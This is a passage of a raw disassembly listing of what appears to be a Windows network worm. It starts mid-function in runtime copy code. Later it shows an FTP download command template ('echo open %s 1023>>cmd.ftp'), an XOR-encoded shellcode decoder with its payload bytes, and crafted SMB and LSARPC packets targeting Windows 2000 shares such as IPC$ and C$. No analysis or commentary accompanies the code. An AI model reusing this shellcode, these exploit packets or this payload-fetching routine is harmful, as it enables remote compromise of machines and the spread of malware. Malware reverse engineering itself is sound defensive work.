edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_404A80 cmp edi, eax jb loc_404BF8 loc_404A80: ; CODE XREF: sub_404A60+16j test edi, 3 jnz short loc_404A9C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- loc_404A9C: ; CODE XREF: sub_404A60+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_404AB4 and eax, 3 add ecx, eax jmp dword ptr loc_404ABC+4[eax*4] ; --------------------------------------------------------------------------- loc_404AB4: ; CODE XREF: sub_404A60+46j jmp dword ptr loc_404BB8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_404ABC: ; CODE XREF: sub_404A60+31j ; sub_404A60+8Ej ... jmp off_404B3C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404AD0 dd offset loc_404AFC dd offset loc_404B20 ; --------------------------------------------------------------------------- loc_404AD0: ; DATA XREF: sub_404A60+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404AFC: ; DATA XREF: sub_404A60+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404B20: ; DATA XREF: sub_404A60+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_404ABC rep movsd jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_404B3C dd offset loc_404B9F ; DATA XREF: sub_404A60:loc_404ABCr dd offset loc_404B8C dd offset loc_404B84 dd offset loc_404B7C dd offset loc_404B74 dd offset loc_404B6C dd offset loc_404B64 dd offset loc_404B5C ; --------------------------------------------------------------------------- loc_404B5C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_404B64: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_404B6C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_404B74: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_404B7C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_404B84: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_404B8C: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404B9F: ; CODE XREF: sub_404A60:loc_404ABCj ; DATA XREF: sub_404A60:off_404B3Co jmp off_404BA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_404BA8 dd offset loc_404BB8 ; DATA XREF: sub_404A60+35r ; sub_404A60+92r ... dd offset loc_404BC0 dd offset loc_404BCC dd offset loc_404BE0 ; --------------------------------------------------------------------------- loc_404BB8: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404BC0: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404BCC: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404BE0: ; CODE XREF: sub_404A60+35j ; sub_404A60+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404BF8: ; CODE XREF: sub_404A60+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_404C2C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404C20: ; CODE XREF: sub_404A60+1B1j ; sub_404A60+208j ... neg ecx jmp off_404CF0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_404C2C: ; CODE XREF: sub_404A60+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_404C44 and eax, 3 sub ecx, eax jmp dword ptr loc_404C44+4[eax*4] ; --------------------------------------------------------------------------- loc_404C44: ; CODE XREF: sub_404A60+1D6j ; DATA XREF: sub_404A60+1DDr jmp off_404D40[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404C58 dd offset loc_404C78 dd offset loc_404CA0 ; --------------------------------------------------------------------------- loc_404C58: ; DATA XREF: sub_404A60+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404C78: ; DATA XREF: sub_404A60+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404CA0: ; DATA XREF: sub_404A60+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_404C20 std rep movsd cld jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404CF4 dd offset loc_404CFC dd offset loc_404D04 dd offset loc_404D0C dd offset loc_404D14 dd offset loc_404D1C dd offset loc_404D24 off_404CF0 dd offset loc_404D37 ; DATA XREF: sub_404A60+1C2r ; --------------------------------------------------------------------------- loc_404CF4: ; DATA XREF: sub_404A60+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_404CFC: ; DATA XREF: sub_404A60+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_404D04: ; DATA XREF: sub_404A60+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_404D0C: ; DATA XREF: sub_404A60+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_404D14: ; DATA XREF: sub_404A60+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_404D1C: ; DATA XREF: sub_404A60+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_404D24: ; DATA XREF: sub_404A60+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404D37: ; CODE XREF: sub_404A60+1C2j ; DATA XREF: sub_404A60:off_404CF0o jmp off_404D40[edx*4] ; --------------------------------------------------------------------------- align 10h off_404D40 dd offset loc_404D50 ; DATA XREF: sub_404A60+1B7r ; sub_404A60:loc_404C44r ... dd offset loc_404D58 dd offset loc_404D68 dd offset loc_404D7C ; --------------------------------------------------------------------------- loc_404D50: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404D58: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404D68: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404D7C: ; CODE XREF: sub_404A60+1B7j ; sub_404A60:loc_404C44j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_404A60 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404D96 proc near ; CODE XREF: sub_401B1B+33p jmp dword_405148 sub_404D96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404D9C proc near ; CODE XREF: sub_401B1B+24p jmp dword_405140 sub_404D9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404DA2 proc near ; CODE XREF: sub_401B1B+7p jmp dword_405144 sub_404DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404DA8 proc near ; CODE XREF: sub_4034B0+13p jmp dword_40508C sub_404DA8 endp ; --------------------------------------------------------------------------- align 10h dd 94h dup(0) dword_405000 dd 0 ; sub_40219B+C8r dword_405004 dd 0 dword_405008 dd 0 dword_40500C dd 0 ; sub_40219B+97r dword_405010 dd 0 align 8 dword_405018 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40126C+8Fr ... dword_40501C dd 7C834E64h ; resolved to->KERNEL32._lclose ; sub_401B59+2ABr dword_405020 dd 7C838AE7h ; resolved to->KERNEL32._lwritedword_405024 dd 7C835406h ; resolved to->KERNEL32._llseekdword_405028 dd 7C8365A5h ; resolved to->KERNEL32._lcreatdword_40502C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401583+4D0r ... dword_405030 dd 7C8353CEh ; resolved to->KERNEL32._lreaddword_405034 dd 7C85E830h ; resolved to->KERNEL32._lopendword_405038 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401F4B+14Dr ... dword_40503C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_4020D9:loc_40213Ar dword_405040 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_405044 dd 7C80C108h ; resolved to->KERNEL32.SetThreadPrioritydword_405048 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThreaddword_40504C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_405050 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_405054 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_405058 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_40505C dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_405060 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_405064 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeapdword_405068 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_404568+51r dword_40506C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_403E1A+Dr ... dword_405070 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_405074 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_405078 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_403BD6+14r dword_40507C dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_40380C+12Dr dword_405080 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_40380C+8Dr dword_405084 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40380C+11Br ... dword_405088 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40508C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_405090 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_403E83+2C4r ... dword_405094 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_405098 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_40509C dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4050A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_4032C7+166r dword_4050A4 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_4036B9+143r dword_4050A8 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4050AC dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4047EE+14Dr ... dword_4050B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4050B4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4047EE+A7r dword_4050B8 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4050BC dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_403195+E1r dword_4050C0 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_4047EE+20Dr dword_4050C4 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4050C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4050CC dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4032C7+59r dword_4050D0 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4050D4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4050D8 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_402C00+91r dword_4050DC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_4050E0 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_4050E4 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4050E8 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA align 10h dword_4050F0 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_40137D+26r ... dword_4050F4 dd 7E45058Ah ; resolved to->USER32.MessageBoxA dd 0 dword_4050FC dd 0 dd 0 dword_405104 dd 0 dword_405108 dd 0 dword_40510C dd 0 dword_405110 dd 0 dword_405114 dd 0 ; sub_401583+2DDr ... dword_405118 dd 0 ; sub_40137D+151r ... dword_40511C dd 0 ; sub_40126C+27r ... dword_405120 dd 0 ; sub_40126C+51r ... dword_405124 dd 0 ; sub_40126C+6Cr ... dword_405128 dd 0 ; sub_40126C+105r ... dword_40512C dd 0 dword_405130 dd 0 dword_405134 dd 0 ; sub_4011D5+7r ... dword_405138 dd 0 ; sub_4011D5+1Er ... align 10h dword_405140 dd 0 dword_405144 dd 0 dword_405148 dd 0 align 10h dword_405150 dd 0FFFFFFFFh, 402A05h, 402A19h, 746E7572h, 20656D69h ; DATA XREF: .text:00402933o dd 6F727265h, 2072h, 534F4C54h, 72652053h, 0D726F72h, 0Ah dd 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_406F34o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4036B9+119o align 4 asc_40540C db 0Ah ; DATA XREF: sub_4036B9+F1o db 0Ah,0 align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4036B9+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4036B9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4036B9+7Do align 4 dword_405448 dd 2 dup(0) ; sub_4047EE+36o dword_405450 dd 0FFFFFFFFh, 403905h, 403909haGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_404663+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_404663+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_404663+24o aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_404663+Do align 4 dword_405498 dd 0FFFFFFFFh, 4048FEh, 404902h, 0FFFFFFFFh, 4049B2h, 4049B6h ; DATA XREF: sub_4047EE+5o dd 562Ch, 2 dup(0) dd 56A6h, 50F0h, 5554h, 2 dup(0) dd 57D0h, 5018h, 5640h, 2 dup(0) dd 57DEh, 5104h, 5638h, 2 dup(0) dd 5806h, 50FCh, 553Ch, 2 dup(0) dd 586Ah, 5000h, 567Ch, 2 dup(0) dd 58ACh, 5140h, 5 dup(0) dd 5812h, 5858h, 5840h, 5832h, 5820h, 0 dd 7C80BE01h, 7C834E64h, 7C838AE7h, 7C835406h, 7C8365A5h dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h dd 7C86136Dh, 7C80C108h, 7C8098EBh, 7C910331h, 7C80E93Fh dd 7C80929Ch, 7C8286EEh, 7C821363h, 7C801D77h, 7C9179FDh dd 7C809A51h, 7C9105D4h, 7C8127A7h, 7C809915h, 7C812E76h dd 7C80A490h, 7C838A0Ch, 7C809BF8h, 7C810D87h, 7C937A40h dd 7C91043Dh, 7C809AE4h, 7C812BB6h, 7C810EF8h, 7C810E51h dd 7C812F39h, 7C80CC97h, 7C80CCA8h, 7C80ADA0h, 7C838DE8h dd 7C812F08h, 7C81CF5Bh, 7C80A0D4h, 7C814AE7h, 7C80B6A1h dd 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C81CDDAh, 7C801E16h dd 7C80DDF5h, 7C862E2Ah, 7C81DF77h, 0 dd 7E41A8ADh, 7E45058Ah, 0 dd 57EAh, 0 dd 80000073h, 80000002h, 8000000Dh, 80000001h, 80000010h dd 80000013h, 80000009h, 80000017h, 80000004h, 80000003h dd 80000039h, 8000000Ch, 8000000Bh, 80000034h, 0 dd 588Ah, 589Ah, 5878h, 0 dd 654D0000h, 67617373h, 786F4265h, 41h, 72707377h, 66746E69h dd 53550041h, 32335245h, 6C6C642Eh, 0 aGetprocaddress db 'GetProcAddress',0 align 4 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 736C0000h, 70637274h dd 4179h, 6C5F0000h, 736F6C63h, 65h, 72776C5Fh, 657469h dd 6C5F0000h, 6565736Ch, 6Bh, 72636C5Fh, 746165h, 6C530000h dd 706565h, 6C5F0000h, 64616572h, 0 a_lopen db '_lopen',0 align 4 dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 aCreatethread db 'CreateThread',0 align 4 aWinexec db 'WinExec',0 dd 65530000h, 72685474h, 50646165h, 726F6972h, 797469h dd 65470000h, 72754374h, 746E6572h, 65726854h, 6461h, 65470000h dd 73614C74h, 72724574h, 726Fh, 72430000h, 65746165h, 6574754Dh dd 4178h, 65470000h, 63695474h, 756F436Bh, 746Eh, 6F430000h dd 69467970h, 41656Ch, 65470000h, 6E695774h, 73776F64h dd 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 53570000h, 32335F32h, 6C6C642Eh, 0 aInternetgetcon db 'InternetGetConnectedState',0 aWininet_dll db 'WININET.dll',0 align 4 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 4F676552h dd 4B6E6570h, 417965h, 62410000h, 5374726Fh, 65747379h dd 7568536Dh, 776F6474h, 416Eh, 65520000h, 74655367h, 756C6156h dd 41784565h, 44410000h, 49504156h, 642E3233h, 6C6Ch, 63490000h dd 6C43706Dh, 4865736Fh, 6C646E61h, 65h, 706D6349h, 646E6553h dd 6F686345h, 0 aIcmpcreatefile db 'IcmpCreateFile',0 align 4 aIphlpapi_dll db 'iphlpapi.dll',0 align 4 aGetmodulehandl db 'GetModuleHandleA',0 align 10h aGetstartupinfo db 'GetStartupInfoA',0 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h dd 69737265h, 6E6Fh, 78450000h, 72507469h, 7365636Fh, 73h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0 aGetcurrentproc db 'GetCurrentProcess',0 align 4 aUnhandledexcep db 'UnhandledExceptionFilter',0 align 4 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 5773676Eh, 0 aSethandlecount db 'SetHandleCount',0 align 10h dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h dd 72437061h, 65746165h, 0 aVirtualfree db 'VirtualFree',0 dd 65480000h, 72467061h, 6565h, 74520000h, 776E556Ch, 646E69h dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h dd 70795467h, 4165h, 65470000h, 72745374h, 54676E69h, 57657079h dd 0 aGetcpinfo db 'GetCPInfo',0 align 4 aGetacp db 'GetACP',0 align 4 dd 65470000h, 4D454F74h, 5043h, 65480000h, 6C417061h, 636F6Ch dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0 aLcmapstringw db 'LCMapStringW',0 align 4 dd 143h dup(0) dword_406000 dd 0 dword_406004 dd 0 dword_406008 dd 0 dd offset sub_403D5B dword_406010 dd 0 dword_406014 dd 0 dword_406018 dd 0 dword_40601C dd 0 dword_406020 dd 4 dup(0) off_406030 dd offset aEchoOffEchoOpe ; DATA XREF: sub_40126C+AAr ; "echo off&echo open %s 1023>>cmd.ftp&ech"... ; --------------------------------------------------------------------------- loc_406034: ; DATA XREF: sub_401583+132o ; sub_401583+1ABo jmp short loc_406046 ; =============== S U B R O U T I N E ======================================= sub_406036 proc near ; CODE XREF: sub_406036:loc_406046p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_40603E: ; CODE XREF: sub_406036+Cj xor byte ptr [edx+ecx], 99h loop loc_40603E jmp short loc_40604B ; --------------------------------------------------------------------------- loc_406046: ; CODE XREF: .text:loc_406034j call sub_406036 loc_40604B: ; CODE XREF: sub_406036+Ej jo short near ptr dword_405AF4+4EEh cwde cdq cdq retn sub_406036 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_4060E4 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_401583+102o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4061CC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40137D+15Do ; sub_401583+2BDo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_406258 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40137D+188o ; sub_401583+2ECo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_406304 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40137D+1ADo ; sub_401583+315o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4063E4 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40137D+53o ; sub_401583+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_40137D+85o ; sub_401583+89o unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_406448 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+369o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4064B4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+392o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_406558 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401583+3C8o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 